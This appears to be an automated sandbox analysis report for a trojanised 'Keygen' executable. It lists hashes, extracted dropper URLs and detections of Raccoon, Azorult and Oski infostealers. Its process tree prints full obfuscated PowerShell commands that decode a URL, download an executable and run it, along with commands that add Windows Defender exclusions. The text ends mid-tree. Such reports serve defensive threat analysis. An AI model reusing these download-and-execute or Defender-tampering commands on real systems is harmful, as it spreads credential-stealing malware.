Overview

overview

10

Static

static

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

8

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...0).exe

windows7_x64

10

201001-nyh...0).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...1).exe

windows7_x64

10

201001-nyh...1).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

201001-nyh...3).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

201001-nyh...я.exe

windows7_x64

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...5).exe

windows7_x64

10

201001-nyh...5).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...6).exe

windows7_x64

10

201001-nyh...6).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

8

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...7).exe

windows7_x64

10

201001-nyh...7).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...8).exe

windows7_x64

10

201001-nyh...8).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...9).exe

windows7_x64

10

201001-nyh...9).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...2).exe

windows7_x64

10

201001-nyh...2).exe

windows10_x64

10

201001-nyh...3).exe

windows7_x64

10

201001-nyh...3).exe

windows10_x64

10

201001-nyh...4).exe

windows7_x64

10

201001-nyh...4).exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...я.exe

windows7_x64

10

201001-nyh...я.exe

windows10_x64

10

201001-nyh...en.exe

windows7_x64

10

201001-nyh...en.exe

windows10_x64

10

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

201001-e45lwcxsnn 10

01-10-2020 20:51

201001-fhxddb9gwe 10

01-10-2020 20:51

201001-ts8hns28ea 10

01-10-2020 20:51

201001-v1kt3kgljx 10

01-10-2020 20:51

201001-d2fbtjzv4s 10

01-10-2020 20:51

201001-cgj9prs442 10

01-10-2020 20:49

201001-t1jnpvwcgx 10

Analysis

  • max time kernel
    70s
  • max time network
    160s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    01-10-2020 20:51

General

  • Target

    201001-nyhbt4p25j_pw_infected/Keygen — копия (71) — копия.exe

  • Size

    849KB

  • MD5

    dbde61502c5c0e17ebc6919f361c32b9

  • SHA1

    189749cf0b66a9f560b68861f98c22cdbcafc566

  • SHA256

    88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b

  • SHA512

    d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note
[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.01 - 22:54:00 GMT Bot_ID: 664A9041-4AC4-46F3-B3DC-87DB4D57890E_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: GOHCSFBB - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (751 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon log file 1 IoCs

    Detects a log file produced by the Raccoon Stealer.

  • ModiLoader First Stage 1 IoCs
  • Blacklisted process makes network request 6 IoCs
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Accesses cryptocurrency wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • JavaScript code in executable 4 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 385 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 205 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (71) — копия.exe
    "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (71) — копия.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3742.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (71) — ?????.exe""
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Users\Admin\AppData\Local\Temp\3742.tmp\Keygen.exe
        Keygen.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1580
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3742.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          4⤵
          • Blacklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\Users\Public\mwk.exe
            "C:\Users\Public\mwk.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4800
            • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
              "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:4936
              • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:5052
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 5052 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\944479341175084\\* & exit
                  8⤵
                    PID:4736
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /pid 5052
                      9⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4648
              • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of SetWindowsHookEx
                PID:4956
                • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                  "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:5072
              • C:\Users\Public\mwk.exe
                "C:\Users\Public\mwk.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops desktop.ini file(s)
                PID:5032
                • C:\Users\Admin\AppData\Local\Temp\x3CxIGU8Mi.exe
                  "C:\Users\Admin\AppData\Local\Temp\x3CxIGU8Mi.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5116
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                    "Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\x3CxIGU8Mi.exe"'
                    8⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2808
                • C:\Users\Admin\AppData\Local\Temp\FQztlYdLXt.exe
                  "C:\Users\Admin\AppData\Local\Temp\FQztlYdLXt.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:3888
                • C:\Users\Admin\AppData\Local\Temp\4Pp8FI8dzz.exe
                  "C:\Users\Admin\AppData\Local\Temp\4Pp8FI8dzz.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:4652
                  • \??\c:\windows\SysWOW64\cmstp.exe
                    "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\qrulhaai.inf
                    8⤵
                      PID:4760
                  • C:\Users\Admin\AppData\Local\Temp\OeoLwIiORV.exe
                    "C:\Users\Admin\AppData\Local\Temp\OeoLwIiORV.exe"
                    7⤵
                    • Executes dropped EXE
                    • Windows security modification
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4704
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "powershell" Get-MpPreference -verbose
                      8⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4828
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\mwk.exe"
                    7⤵
                      PID:1620
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        8⤵
                        • Delays execution with timeout.exe
                        PID:1864
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3742.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2100
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3672
            • C:\Windows\SysWOW64\timeout.exe
              timeout 1
              3⤵
              • Delays execution with timeout.exe
              PID:2148
            • C:\Windows\SysWOW64\mshta.exe
              "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3742.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:188
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
